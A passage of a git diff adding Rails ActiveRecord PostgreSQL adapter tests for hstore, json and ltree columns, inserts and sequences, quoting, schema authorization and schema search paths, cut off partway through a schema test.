+ def test_gen1
+ assert_equal(%q(" "=>""), @column.class.hstore_to_string({' '=>''}))
+ end
+
+ def test_gen2
+ assert_equal(%q(","=>""), @column.class.hstore_to_string({','=>''}))
+ end
+
+ def test_gen3
+ assert_equal(%q("="=>""), @column.class.hstore_to_string({'='=>''}))
+ end
+
+ def test_gen4
+ assert_equal(%q(">"=>""), @column.class.hstore_to_string({'>'=>''}))
+ end
+
+ def test_parse1
+ assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
+ end
+
+ def test_parse2
+ assert_equal({" " => " "}, @column.type_cast("\\ =>\\ "))
+ end
+
+ def test_parse3
+ assert_equal({"=" => ">"}, @column.type_cast("==>>"))
+ end
+
+ def test_parse4
+ assert_equal({"=a"=>"q=w"}, @column.type_cast('\=a=>q=w'))
+ end
+
+ def test_parse5
+ assert_equal({"=a"=>"q=w"}, @column.type_cast('"=a"=>q\=w'))
+ end
+
+ def test_parse6
+ assert_equal({"\"a"=>"q>w"}, @column.type_cast('"\"a"=>q>w'))
+ end
+
+ def test_parse7
+ assert_equal({"\"a"=>"q\"w"}, @column.type_cast('\"a=>q"w'))
+ end
+
+ def test_rewrite
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+ x = Hstore.first
+ x.tags = { '"a\'' => 'b' }
+ assert x.save!
+ end
+
+
+ def test_select
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+ x = Hstore.first
+ assert_equal({'1' => '2'}, x.tags)
+ end
+
+ def test_select_multikey
+ @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
+ x = Hstore.first
+ assert_equal({'1' => '2', '2' => '3'}, x.tags)
+ end
+
+ def test_create
+ assert_cycle('a' => 'b', '1' => '2')
+ end
+
+ def test_nil
+ assert_cycle('a' => nil)
+ end
+
+ def test_quotes
+ assert_cycle('a' => 'b"ar', '1"foo' => '2')
+ end
+
+ def test_whitespace
+ assert_cycle('a b' => 'b ar', '1"foo' => '2')
+ end
+
+ def test_backslash
+ assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
+ end
+
+ def test_comma
+ assert_cycle('a, b' => 'bar', '1"foo' => '2')
+ end
+
+ def test_arrow
+ assert_cycle('a=>b' => 'bar', '1"foo' => '2')
+ end
+
+ def test_quoting_special_characters
+ assert_cycle('ca' => 'cà', 'ac' => 'àc')
+ end
+
+ def test_multiline
+ assert_cycle("a\nb" => "c\nd")
+ end
+
+ private
+ def assert_cycle hash
+ # test creation
+ x = Hstore.create!(:tags => hash)
+ x.reload
+ assert_equal(hash, x.tags)
+
+ # test updating
+ x = Hstore.create!(:tags => {})
+ x.tags = hash
+ x.save!
+ x.reload
+ assert_equal(hash, x.tags)
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
new file mode 100644
index 0000000..6fc08ae
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -0,0 +1,86 @@
+# encoding: utf-8
+
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlJSONTest < ActiveRecord::TestCase
+ class JsonDataType < ActiveRecord::Base
+ self.table_name = 'json_data_type'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ begin
+ @connection.transaction do
+ @connection.create_table('json_data_type') do |t|
+ t.json 'payload', :default => {}
+ end
+ end
+ rescue ActiveRecord::StatementInvalid
+ return skip "do not test on PG without json"
+ end
+ @column = JsonDataType.columns.find { |c| c.name == 'payload' }
+ end
+
+ def teardown
+ @connection.execute 'drop table if exists json_data_type'
+ end
+
+ def test_column
+ assert_equal :json, @column.type
+ end
+
+ def test_change_table_supports_json
+ @connection.transaction do
+ @connection.change_table('json_data_type') do |t|
+ t.json 'users', default: '{}'
+ end
+ JsonDataType.reset_column_information
+ column = JsonDataType.columns.find { |c| c.name == 'users' }
+ assert_equal :json, column.type
+
+ raise ActiveRecord::Rollback # reset the schema change
+ end
+ ensure
+ JsonDataType.reset_column_information
+ end
+
+ def test_type_cast_json
+ assert @column
+
+ data = "{\"a_key\":\"a_value\"}"
+ hash = @column.class.string_to_json data
+ assert_equal({'a_key' => 'a_value'}, hash)
+ assert_equal({'a_key' => 'a_value'}, @column.type_cast(data))
+
+ assert_equal({}, @column.type_cast("{}"))
+ assert_equal({'key'=>nil}, @column.type_cast('{"key": null}'))
+ assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q({"c":"}", "\"a\"":"b \"a b"})))
+ end
+
+ def test_rewrite
+ @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
+ x = JsonDataType.first
+ x.payload = { '"a\'' => 'b' }
+ assert x.save!
+ end
+
+ def test_select
+ @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
+ x = JsonDataType.first
+ assert_equal({'k' => 'v'}, x.payload)
+ end
+
+ def test_select_multikey
+ @connection.execute %q|insert into json_data_type (payload) VALUES ('{"k1":"v1", "k2":"v2", "k3":[1,2,3]}')|
+ x = JsonDataType.first
+ assert_equal({'k1' => 'v1', 'k2' => 'v2', 'k3' => [1,2,3]}, x.payload)
+ end
+
+ def test_null_json
+ @connection.execute %q|insert into json_data_type (payload) VALUES(null)|
+ x = JsonDataType.first
+ assert_equal(nil, x.payload)
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/ltree_test.rb b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
new file mode 100644
index 0000000..5d12ca7
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
@@ -0,0 +1,41 @@
+# encoding: utf-8
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlLtreeTest < ActiveRecord::TestCase
+ class Ltree < ActiveRecord::Base
+ self.table_name = 'ltrees'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.create_table('ltrees') do |t|
+ t.ltree 'path'
+ end
+ end
+ rescue ActiveRecord::StatementInvalid
+ skip "do not test on PG without ltree"
+ end
+
+ def teardown
+ @connection.execute 'drop table if exists ltrees'
+ end
+
+ def test_column
+ column = Ltree.columns_hash['path']
+ assert_equal :ltree, column.type
+ end
+
+ def test_write
+ ltree = Ltree.new(path: '1.2.3.4')
+ assert ltree.save!
+ end
+
+ def test_select
+ @connection.execute "insert into ltrees (path) VALUES ('1.2.3')"
+ ltree = Ltree.first
+ assert_equal '1.2.3', ltree.path
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
new file mode 100644
index 0000000..17d77c5
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -0,0 +1,288 @@
+# encoding: utf-8
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapterTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query('create table ex(id serial primary key, number integer, data character varying(255))')
+ end
+
+ def test_valid_column
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
+ assert @connection.valid_type?(column.type)
+ end
+
+ def test_invalid_column
+ assert_not @connection.valid_type?(:foobar)
+ end
+
+ def test_primary_key
+ assert_equal 'id', @connection.primary_key('ex')
+ end
+
+ def test_primary_key_works_tables_containing_capital_letters
+ assert_equal 'id', @connection.primary_key('CamelCase')
+ end
+
+ def test_non_standard_primary_key
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query('create table ex(data character varying(255) primary key)')
+ assert_equal 'data', @connection.primary_key('ex')
+ end
+
+ def test_primary_key_returns_nil_for_no_pk
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query('create table ex(id integer)')
+ assert_nil @connection.primary_key('ex')
+ end
+
+ def test_primary_key_raises_error_if_table_not_found
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.primary_key('unobtainium')
+ end
+ end
+
+ def test_insert_sql_with_proprietary_returning_clause
+ id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
+ assert_equal "5150", id
+ end
+
+ def test_insert_sql_with_quoted_schema_and_table_name
+ id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
+
+ def test_insert_sql_with_no_space_after_table_name
+ id = @connection.insert_sql("insert into ex(number) values(5150)")
+ expect = @connection.query('select max(id) from ex').first.first
+ assert_equal expect, id
+ end
+
+ def test_insert_sql_with_returning_disabled
+ connection = connection_without_insert_returning
+ id = connection.insert_sql("insert into postgresql_partitioned_table_parent (number) VALUES (1)")
+ expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first
+ assert_equal expect, id
+ end
+
+ def test_exec_insert_with_returning_disabled
+ connection = connection_without_insert_returning
+ result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], 'id', 'postgresql_partitioned_table_parent_id_seq')
+ expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first
+ assert_equal expect, result.rows.first.first
+ end
+
+ def test_exec_insert_with_returning_disabled_and_no_sequence_name_given
+ connection = connection_without_insert_returning
+ result = connection.exec_insert("insert into postgresql_partitioned_table_parent (number) VALUES (1)", nil, [], 'id')
+ expect = connection.query('select max(id) from postgresql_partitioned_table_parent').first.first
+ assert_equal expect, result.rows.first.first
+ end
+
+ def test_sql_for_insert_with_returning_disabled
+ connection = connection_without_insert_returning
+ result = connection.sql_for_insert('sql', nil, nil, nil, 'binds')
+ assert_equal ['sql', 'binds'], result
+ end
+
+ def test_serial_sequence
+ assert_equal 'public.accounts_id_seq',
+ @connection.serial_sequence('accounts', 'id')
+
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.serial_sequence('zomg', 'id')
+ end
+ end
+
+ def test_default_sequence_name
+ assert_equal 'accounts_id_seq',
+ @connection.default_sequence_name('accounts', 'id')
+
+ assert_equal 'accounts_id_seq',
+ @connection.default_sequence_name('accounts')
+ end
+
+ def test_default_sequence_name_bad_table
+ assert_equal 'zomg_id_seq',
+ @connection.default_sequence_name('zomg', 'id')
+
+ assert_equal 'zomg_id_seq',
+ @connection.default_sequence_name('zomg')
+ end
+
+ def test_pk_and_sequence_for
+ pk, seq = @connection.pk_and_sequence_for('ex')
+ assert_equal 'id', pk
+ assert_equal @connection.default_sequence_name('ex', 'id'), seq
+ end
+
+ def test_pk_and_sequence_for_with_non_standard_primary_key
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query('create table ex(code serial primary key)')
+ pk, seq = @connection.pk_and_sequence_for('ex')
+ assert_equal 'code', pk
+ assert_equal @connection.default_sequence_name('ex', 'code'), seq
+ end
+
+ def test_pk_and_sequence_for_returns_nil_if_no_seq
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query('create table ex(id integer primary key)')
+ assert_nil @connection.pk_and_sequence_for('ex')
+ end
+
+ def test_pk_and_sequence_for_returns_nil_if_no_pk
+ @connection.exec_query('drop table if exists ex')
+ @connection.exec_query('create table ex(id integer)')
+ assert_nil @connection.pk_and_sequence_for('ex')
+ end
+
+ def test_pk_and_sequence_for_returns_nil_if_table_not_found
+ assert_nil @connection.pk_and_sequence_for('unobtainium')
+ end
+
+ def test_exec_insert_number
+ insert(@connection, 'number' => 10)
+
+ result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
+
+ assert_equal 1, result.rows.length
+ assert_equal "10", result.rows.last.last
+ end
+
+ def test_exec_insert_string
+ str = 'いただきます!'
+ insert(@connection, 'number' => 10, 'data' => str)
+
+ result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
+
+ value = result.rows.last.last
+
+ assert_equal str, value
+ end
+
+ def test_table_alias_length
+ assert_nothing_raised do
+ @connection.table_alias_length
+ end
+ end
+
+ def test_exec_no_binds
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
+
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+ result = @connection.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [['1', 'foo']], result.rows
+ end
+
+ def test_exec_with_binds
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = $1', nil, [[nil, 1]])
+
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [['1', 'foo']], result.rows
+ end
+
+ def test_exec_typecasts_bind_vals
+ string = @connection.quote('foo')
+ @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+
+ column = @connection.columns('ex').find { |col| col.name == 'id' }
+ result = @connection.exec_query(
+ 'SELECT id, data FROM ex WHERE id = $1', nil, [[column, '1-fuu']])
+
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [['1', 'foo']], result.rows
+ end
+
+ def test_substitute_at
+ bind = @connection.substitute_at(nil, 0)
+ assert_equal Arel.sql('$1'), bind
+
+ bind = @connection.substitute_at(nil, 1)
+ assert_equal Arel.sql('$2'), bind
+ end
+
+ def test_partial_index
+ @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
+ index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
+ assert_equal "(number > 100)", index.where
+ end
+
+ def test_distinct_zero_orders
+ assert_equal "DISTINCT posts.id",
+ @connection.distinct("posts.id", [])
+ end
+
+ def test_distinct_one_order
+ assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
+ @connection.distinct("posts.id", ["posts.created_at desc"])
+ end
+
+ def test_distinct_few_orders
+ assert_equal "DISTINCT posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
+ @connection.distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
+ end
+
+ def test_distinct_blank_not_nil_orders
+ assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
+ @connection.distinct("posts.id", ["posts.created_at desc", "", " "])
+ end
+
+ def test_distinct_with_arel_order
+ order = Object.new
+ def order.to_sql
+ "posts.created_at desc"
+ end
+ assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
+ @connection.distinct("posts.id", [order])
+ end
+
+ def test_distinct_with_nulls
+ assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls first"])
+ assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls last"])
+ end
+
+ def test_raise_error_when_cannot_translate_exception
+ assert_raise TypeError do
+ @connection.send(:log, nil) { @connection.execute(nil) }
+ end
+ end
+
+ private
+ def insert(ctx, data)
+ binds = data.map { |name, value|
+ [ctx.columns('ex').find { |x| x.name == name }, value]
+ }
+ columns = binds.map(&:first).map(&:name)
+
+ bind_subs = columns.length.times.map { |x| "$#{x + 1}" }
+
+ sql = "INSERT INTO ex (#{columns.join(", ")})
+ VALUES (#{bind_subs.join(', ')})"
+
+ ctx.exec_insert(sql, 'SQL', binds)
+ end
+
+ def connection_without_insert_returning
+ ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations['arunit'].merge(:insert_returning => false))
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
new file mode 100644
index 0000000..b342964
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
@@ -0,0 +1,58 @@
+require "cases/helper"
+require 'ipaddr'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class PostgreSQLAdapter
+ class QuotingTest < ActiveRecord::TestCase
+ def setup
+ @conn = ActiveRecord::Base.connection
+ end
+
+ def test_type_cast_true
+ c = Column.new(nil, 1, 'boolean')
+ assert_equal 't', @conn.type_cast(true, nil)
+ assert_equal 't', @conn.type_cast(true, c)
+ end
+
+ def test_type_cast_false
+ c = Column.new(nil, 1, 'boolean')
+ assert_equal 'f', @conn.type_cast(false, nil)
+ assert_equal 'f', @conn.type_cast(false, c)
+ end
+
+ def test_type_cast_cidr
+ ip = IPAddr.new('255.0.0.0/8')
+ c = Column.new(nil, ip, 'cidr')
+ assert_equal ip, @conn.type_cast(ip, c)
+ end
+
+ def test_type_cast_inet
+ ip = IPAddr.new('255.1.0.0/8')
+ c = Column.new(nil, ip, 'inet')
+ assert_equal ip, @conn.type_cast(ip, c)
+ end
+
+ def test_quote_float_nan
+ nan = 0.0/0
+ c = Column.new(nil, 1, 'float')
+ assert_equal "'NaN'", @conn.quote(nan, c)
+ end
+
+ def test_quote_float_infinity
+ infinity = 1.0/0
+ c = Column.new(nil, 1, 'float')
+ assert_equal "'Infinity'", @conn.quote(infinity, c)
+ end
+
+ def test_quote_cast_numeric
+ fixnum = 666
+ c = Column.new(nil, nil, 'string')
+ assert_equal "'666'", @conn.quote(fixnum, c)
+ c = Column.new(nil, nil, 'text')
+ assert_equal "'666'", @conn.quote(fixnum, c)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
new file mode 100644
index 0000000..d5e1838
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb
@@ -0,0 +1,114 @@
+require "cases/helper"
+
+class SchemaThing < ActiveRecord::Base
+end
+
+class SchemaAuthorizationTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ TABLE_NAME = 'schema_things'
+ COLUMNS = [
+ 'id serial primary key',
+ 'name character varying(50)'
+ ]
+ USERS = ['rails_pg_schema_user1', 'rails_pg_schema_user2']
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.execute "SET search_path TO '$user',public"
+ set_session_auth
+ USERS.each do |u|
+ @connection.execute "CREATE USER #{u}" rescue nil
+ @connection.execute "CREATE SCHEMA AUTHORIZATION #{u}" rescue nil
+ set_session_auth u
+ @connection.execute "CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+ @connection.execute "INSERT INTO #{TABLE_NAME} (name) VALUES ('#{u}')"
+ set_session_auth
+ end
+ end
+
+ def teardown
+ set_session_auth
+ @connection.execute "RESET search_path"
+ USERS.each do |u|
+ @connection.execute "DROP SCHEMA #{u} CASCADE"
+ @connection.execute "DROP USER #{u}"
+ end
+ end
+
+ def test_schema_invisible
+ assert_raise(ActiveRecord::StatementInvalid) do
+ set_session_auth
+ @connection.execute "SELECT * FROM #{TABLE_NAME}"
+ end
+ end
+
+ def test_session_auth=
+ assert_raise(ActiveRecord::StatementInvalid) do
+ @connection.session_auth = 'DEFAULT'
+ @connection.execute "SELECT * FROM #{TABLE_NAME}"
+ end
+ end
+
+ def test_setting_auth_clears_stmt_cache
+ assert_nothing_raised do
+ set_session_auth
+ USERS.each do |u|
+ set_session_auth u
+ assert_equal u, @connection.exec_query("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [[nil, 1]]).first['name']
+ set_session_auth
+ end
+ end
+ end
+
+ def test_auth_with_bind
+ assert_nothing_raised do
+ set_session_auth
+ USERS.each do |u|
+ @connection.clear_cache!
+ set_session_auth u
+ assert_equal u, @connection.exec_query("SELECT name FROM #{TABLE_NAME} WHERE id = $1", 'SQL', [[nil, 1]]).first['name']
+ set_session_auth
+ end
+ end
+ end
+
+ def test_schema_uniqueness
+ assert_nothing_raised do
+ set_session_auth
+ USERS.each do |u|
+ set_session_auth u
+ assert_equal u, @connection.select_value("SELECT name FROM #{TABLE_NAME} WHERE id = 1")
+ set_session_auth
+ end
+ end
+ end
+
+ def test_sequence_schema_caching
+ assert_nothing_raised do
+ USERS.each do |u|
+ set_session_auth u
+ st = SchemaThing.new :name => 'TEST1'
+ st.save!
+ st = SchemaThing.new :id => 5, :name => 'TEST2'
+ st.save!
+ set_session_auth
+ end
+ end
+ end
+
+ def test_tables_in_current_schemas
+ assert !@connection.tables.include?(TABLE_NAME)
+ USERS.each do |u|
+ set_session_auth u
+ assert @connection.tables.include?(TABLE_NAME)
+ set_session_auth
+ end
+ end
+
+ private
+ def set_session_auth auth = nil
+ @connection.session_auth = auth || 'default'
+ end
+
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
new file mode 100644
index 0000000..e8dd188
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -0,0 +1,376 @@
+require "cases/helper"
+
+class SchemaTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ SCHEMA_NAME = 'test_schema'
+ SCHEMA2_NAME = 'test_schema2'
+ TABLE_NAME = 'things'
+ CAPITALIZED_TABLE_NAME = 'Things'
+ INDEX_A_NAME = 'a_index_things_on_name'
+ INDEX_B_NAME = 'b_index_things_on_different_columns_in_each_schema'
+ INDEX_C_NAME = 'c_index_full_text_search'
+ INDEX_D_NAME = 'd_index_things_on_description_desc'
+ INDEX_E_NAME = 'e_index_things_on_name_vector'
+ INDEX_A_COLUMN = 'name'
+ INDEX_B_COLUMN_S1 = 'email'
+ INDEX_B_COLUMN_S2 = 'moment'
+ INDEX_C_COLUMN = %q{(to_tsvector('english', coalesce(things.name, '')))}
+ INDEX_D_COLUMN = 'description'
+ INDEX_E_COLUMN = 'name_vector'
+ COLUMNS = [
+ 'id integer',
+ 'name character varying(50)',
+ 'email character varying(50)',
+ 'description character varying(100)',
+ 'name_vector tsvector',
+ 'moment timestamp without time zone default now()'
+ ]
+ PK_TABLE_NAME = 'table_with_pk'
+ UNMATCHED_SEQUENCE_NAME = 'unmatched_primary_key_default_value_seq'
+ UNMATCHED_PK_TABLE_NAME = 'table_with_unmatched_sequence_for_pk'
+
+ class Thing1 < ActiveRecord::Base
+ self.table_name = "test_schema.things"
+ end
+
+ class Thing2 < ActiveRecord::Base
+ self.table_name = "test_schema2.things"
+ end
+
+ class Thing3 < ActiveRecord::Base
+ self.table_name = 'test_schema."things.table"'
+ end
+
+ class Thing4 < ActiveRecord::Base
+ self.table_name = 'test_schema."Things"'
+ end
+
+ class Thing5 < ActiveRecord::Base
+ self.table_name = 'things'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+ @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
+ @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{CAPITALIZED_TABLE_NAME}\" (#{COLUMNS.join(',')})"
+ @connection.execute "CREATE SCHEMA #{SCHEMA2_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+ @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING btree (#{INDEX_A_COLUMN});"
+ @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING btree (#{INDEX_A_COLUMN});"
+ @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING btree (#{INDEX_B_COLUMN_S1});"
+ @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING btree (#{INDEX_B_COLUMN_S2});"
+ @connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING gin (#{INDEX_C_COLUMN});"
+ @connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING gin (#{INDEX_C_COLUMN});"
+ @connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING btree (#{INDEX_D_COLUMN} DESC);"
+ @connection.execute "CREATE INDEX #{INDEX_D_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING btree (#{INDEX_D_COLUMN} DESC);"
+ @connection.execute "CREATE INDEX #{INDEX_E_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING gin (#{INDEX_E_COLUMN});"
+ @connection.execute "CREATE INDEX #{INDEX_E_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING gin (#{INDEX_E_COLUMN});"
+ @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{PK_TABLE_NAME} (id serial primary key)"
+ @connection.execute "CREATE SEQUENCE #{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}"
+ @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{UNMATCHED_PK_TABLE_NAME} (id integer NOT NULL DEFAULT nextval('#{SCHEMA_NAME}.#{UNMATCHED_SEQUENCE_NAME}'::regclass), CONSTRAINT unmatched_pkey PRIMARY KEY (id))"
+ end
+
+ def teardown
+ @connection.execute "DROP SCHEMA #{SCHEMA2_NAME} CASCADE"
+ @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
+ end
+
+ def test_schema_names
+ assert_equal ["public", "schema_1", "test_schema", "test_schema2"], @connection.schema_names
+ end
+
+ def test_create_schema
+ begin
+ @connection.create_schema "test_schema3"
+ assert @connection.schema_names.include? "test_schema3"
+ ensure
+ @connection.drop_schema "test_schema3"
+ end
+ end
+
+ def test_raise_create_schema_with_existing_schema
+ begin
+ @connection.create_schema "test_schema3"
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.create_schema "test_schema3"
+ end
+ ensure
+ @connection.drop_schema "test_schema3"
+ end
+ end
+
+ def test_drop_schema
+ begin
+ @connection.create_schema "test_schema3"
+ ensure
+ @connection.drop_schema "test_schema3"
+ end
+ assert !@connection.schema_names.include?("test_schema3")
+ end
+
+ def test_raise_drop_schema_with_nonexisting_schema
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.drop_schema "test_schema3"
+ end
+ end
+
+ def test_schema_change_with_prepared_stmt
+ altered = false
+ @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
+ @connection.exec_query "alter table developers add column zomg int", 'sql', []
+ altered = true
+ @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]]
+ ensure
+ # We are not using DROP COLUMN IF EXISTS because that syntax is only
+ # supported by pg 9.X
+ @connection.exec_query("alter table developers drop column zomg", 'sql', []) if altered
+ end
+
+ def test_table_exists?
+ [Thing1, Thing2, Thing3, Thing4].each do |klass|
+ name = klass.table_name
+ assert @connection.table_exists?(name), "'#{name}' table should exist"
+ end
+ end
+
+ def test_table_exists_when_on_schema_search_path
+ with_schema_search_path(SCHEMA_NAME) do
+ assert(@connection.table_exists?(TABLE_NAME), "table should exist and be found")
+ end
+ end
+
+ def test_table_exists_when_not_on_schema_search_path
+ with_schema_search_path('PUBLIC') do
+ assert(!@connection.table_exists?(TABLE_NAME), "table exists but should not be found")
+ end
+ end
+
+ def test_table_exists_wrong_schema
+ assert(!@connection.table_exists?("foo.things"), "table should not exist")
+ end
+
+ def test_table_exists_quoted_names
+ [ %("#{SCHEMA_NAME}"."#{TABLE_NAME}"), %(#{SCHEMA_NAME}."#{TABLE_NAME}"), %(#{SCHEMA_NAME}."#{TABLE_NAME}")].each do |given|
+ assert(@connection.table_exists?(given), "table should exist when specified as #{given}")
+ end
+ with_schema_search_path(SCHEMA_NAME) do
+ given = %("#{TABLE_NAME}")
+ assert(@connection.table_exists?(given), "table should exist when specified as #{given}")
+ end
+ end
+
+ def test_table_exists_quoted_table
+ with_schema_search_path(SCHEMA_NAME) do
+ assert(@connection.table_exists?('"things.table"'), "table should exist")
+ end
+ end
+
+ def test_with_schema_prefixed_table_name
+ assert_nothing_raised do
+ assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{TABLE_NAME}")
+ end
+ end
+
+ def test_with_schema_prefixed_capitalized_table_name
+ assert_nothing_raised do
+ assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{CAPITALIZED_TABLE_NAME}")
+ end
+ end
+
+ def test_with_schema_search_path
+ assert_nothing_raised do
+ with_schema_search_path(SCHEMA_NAME) do
+ assert_equal COLUMNS, columns(TABLE_NAME)
+ end
+ end
+ end
+
+ def test_proper_encoding_of_table_name
+ assert_equal '"table_name"', @connection.quote_table_name('table_name')
+ assert_equal '"table.name"', @connection.quote_table_name('"table.name"')
+ assert_equal '"schema_name"."table_name"', @connection.quote_table_name('schema_name.table_name')
+ assert_equal '"schema_name"."table.name"', @connection.quote_table_name('schema_name."table.name"')
+ assert_equal '"schema.name"."table_name"', @connection.quote_table_name('"schema.name".table_name')
+ assert_equal '"schema.name"."table.name"', @connection.quote_table_name('"schema.name"."table.name"')
+ end
+
+ def test_classes_with_qualified_schema_name
+ assert_equal 0, Thing1.count
+ assert_equal 0, Thing2.count
+ assert_equal 0, Thing3.count
+ assert_equal 0, Thing4.count
+
+ Thing1.create(:id => 1, :name => "thing1", :email => "thing1 at localhost", :moment => Time.now)
+ assert_equal 1, Thing1.count
+ assert_equal 0, Thing2.count
+ assert_equal 0, Thing3.count
+ assert_equal 0, Thing4.count
+
+ Thing2.create(:id => 1, :name => "thing1", :email => "thing1 at localhost", :moment => Time.now)
